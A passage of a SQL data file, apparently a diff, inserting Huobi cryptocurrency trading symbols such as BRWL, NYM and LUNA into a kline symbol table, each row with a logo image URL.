'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (856, 'huobi', 'brwl', 'BRWL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockchain-brawlers.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (857, 'huobi', 'npt', 'NPT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neopin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (858, 'huobi', 'noia', 'NOIA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/noia-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (859, 'huobi', 'xcur', 'XCUR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/curate.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (860, 'huobi', 'nym', 'NYM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nym.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (861, 'huobi', 'vision', 'VISION', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/visiongame.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (862, 'huobi', 'plato', 'PLATO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/platofarm.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (863, 'huobi', 'face', 'FACE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/faceter.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (864, 'huobi', 'caw', 'CAW', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/caw-a-hunters-dream.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (865, 'huobi', 'vemp', 'VEMP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vempire-ddao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (866, 'huobi', 'cel', 'CEL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/celsius.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (867, 'huobi', 'prq', 'PRQ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/parsiq.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (868, 'huobi', 'moov', 'MOOV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dotmoovs.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (869, 'huobi', 'dose', 'DOSE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/olivex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (870, 'huobi', 'elu', 'ELU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/elumia.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (871, 'huobi', 'fitfi', 'FITFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/step-app.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (872, 'huobi', 'mu', 'MU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/ReSource%20Finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (873, 'huobi', 'voxel', 'VOXEL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/voxies.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (874, 'huobi', 'bbf', 'BBF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bubblefong.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (875, 'huobi', 'num', 'NUM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/numbers.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (876, 'huobi', 'sys', 'SYS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/syscoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (877, 'huobi', 'hunt', 'HUNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hunt-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (878, 'huobi', 'primate', 'PRIMATE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/primate.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (879, 'huobi', 'breed', 'BREED', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/breederdao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (880, 'huobi', 'strm', 'STRM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/streamcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (881, 'huobi', 'boson', 'BOSON', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boson-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (882, 'huobi', 'ply', 'PLY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurigami.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (883, 'huobi', 'jumbo', 'JUMBO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jumbo-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (884, 'huobi', 'lunr', 'LUNR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lunr-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (885, 'huobi', 'wndr', 'WNDR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wonderman-nation.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (886, 'huobi', 'toke', 'TOKE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokemak.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (887, 'huobi', 'akt', 'AKT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/akt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (888, 'huobi', 'adp', 'ADP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adappter-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (889, 'huobi', 'orbr', 'ORBR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orbler.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (890, 'huobi', 'oct', 'OCT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oraclechain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (891, 'huobi', 'tinc', 'TINC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/tinyworld.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (892, 'huobi', 'usn', 'USN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usn.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (893, 'huobi', 'usdd', 'USDD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usdd.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (894, 'huobi', 'reth', 'RETH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/realmsofethernity.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (895, 'huobi', 'rei', 'REI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rei-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (896, 'huobi', 'vlx', 'VLX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/velas.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (897, 'huobi', 'sfund', 'SFUND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seedify-fund.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (898, 'huobi', 'kct', 'KCT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/konnect.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (899, 'huobi', 'wmt', 'WMT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/world-mobile-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (900, 'huobi', 'pla', 'PLA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/playdapp.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (901, 'huobi', 'tlos', 'TLOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/telos-blockchain-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (902, 'huobi', 'mesa', 'MESA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/mymessage.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (903, 'huobi', 'mcontent', 'MCONTENT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mcontent.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (904, 'huobi', 'brt', 'BRT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitribe.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (905, 'huobi', 'aqt', 'AQT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpha-quark-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (906, 'huobi', 'gno', 'GNO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gnosis-gno.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (907, 'huobi', 'luna', 'LUNA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terra-luna-v2.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (908, 'huobi', 'bwo', 'BWO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/battle-world.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (909, 'huobi', 'berry', 'BERRY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rentberry.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (910, 'huobi', 'cusd', 'CUSD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cusd.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (911, 'huobi', 'we', 'WE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/webuy.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (912, 'huobi', 'cube', 'CUBE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/PurePoS.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (913, 'huobi', 'bp', 'BP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beyond-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (914, 'huobi', 'ever', 'EVER', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ton-crystal.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (915, 'huobi', 'wwy', 'WWY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/weway.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (916, 'huobi', 'swap', 'SWAP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trustswap.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (917, 'huobi', 'oland', 'OLAND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oceanland.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (918, 'huobi', 'hsf', 'HSF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hillstone.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (919, 'huobi', 'joy', 'JOY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/joy-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (920, 'huobi', 'route', 'ROUTE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/router-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (921, 'huobi', 'shit', 'SHIT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shit-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (922, 'huobi', 'egame', 'EGAME', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/every-game.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (923, 'huobi', 'revo', 'REVO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/revoland.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (924, 'huobi', 'sign', 'SIGN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/signaturechain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (925, 'huobi', 'fota', 'FOTA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fortuna.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (926, 'huobi', 'well', 'WELL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/well.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (927, 'huobi', 'steth', 'STETH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/staked-ether.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (928, 'huobi', 'col', 'COL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unit-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (929, 'huobi', 'wcube', 'WCUBE', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (930, 'huobi', 'xdc', 'XDC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xinfin-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (931, 'huobi', 'wlkn', 'WLKN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/walken.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (932, 'huobi', 'dora', 'DORA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dora-factory.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (933, 'huobi', 'flz', 'FLZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fellaz.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (934, 'huobi', 'medamon', 'MEDAMON', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (935, 'huobi', 'koi', 'KOI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/koi-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (936, 'huobi', 'eul', 'EUL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/euler-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (937, 'huobi', 'ctc', 'CTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/creditcoin.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (938, 'huobi', 'dks', 'DKS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/darkshield.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (939, 'huobi', 'kube', 'KUBE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kubecoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (940, 'huobi', 'crts', 'CRTS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cratos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (941, 'huobi', 'qom', 'QOM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shiba-predator.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (942, 'huobi', 'tao', 'TAO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/fusotaoprotocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (943, 'huobi', 'mbx', 'MBX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mobiecoin.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (944, 'huobi', 'aegis', 'AEGIS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stonk-league.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (945, 'huobi', 'dep', 'DEP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deapcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (946, 'huobi', 'pando', 'PANDO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pando.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (947, 'huobi', 'sao', 'SAO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sator.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (948, 'huobi', 'euroc', 'EUROC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/euro-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (949, 'huobi', 'mev', 'MEV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eosvegascoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (950, 'huobi', 'evmos', 'EVMOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/evmos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (951, 'huobi', 'znt', 'ZNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/znt.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (952, 'huobi', 'velo', 'VELO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/velo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (953, 'huobi', 'like', 'LIKE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/likecoin.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (954, 'huobi', 'srt', 'SRT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smart-reward-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (955, 'huobi', 'tava', 'TAVA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/altavagroup.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (956, 'huobi', 'ogv', 'OGV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origin-dollar-governance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (957, 'huobi', 'mudol2', 'MUDOL2', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hero-blaze-three-kingdoms.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (958, 'huobi', 'solo', 'SOLO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solo-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (959, 'huobi', 'lbl', 'LBL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/label-foundation.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (960, 'huobi', 'poolz', 'POOLZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/poolz.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (961, 'huobi', 'azero', 'AZERO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aleph-zero.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (962, 'huobi', 'movez', 'MOVEZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/movez.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (963, 'huobi', 'tdx', 'TDX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tidex-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (964, 'huobi', 'og', 'OG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/og.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (965, 'huobi', 'atm', 'ATM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atletico-madrid.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (966, 'huobi', 'fiu', 'FIU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/befitter.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (967, 'huobi', 'antex', 'ANTEX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/antex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (968, 'huobi', 'uos', 'UOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/1c7ea6b85e2c15aaba995984ec466d65.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (969, 'huobi', 'dfi', 'DFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/defichain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (970, 'huobi', 'xeta', 'XETA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xana.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (971, 'huobi', 'klv', 'KLV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/klever.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (972, 'huobi', 'anv', 'ANV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/aniverse.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (973, 'huobi', 'gsterc', 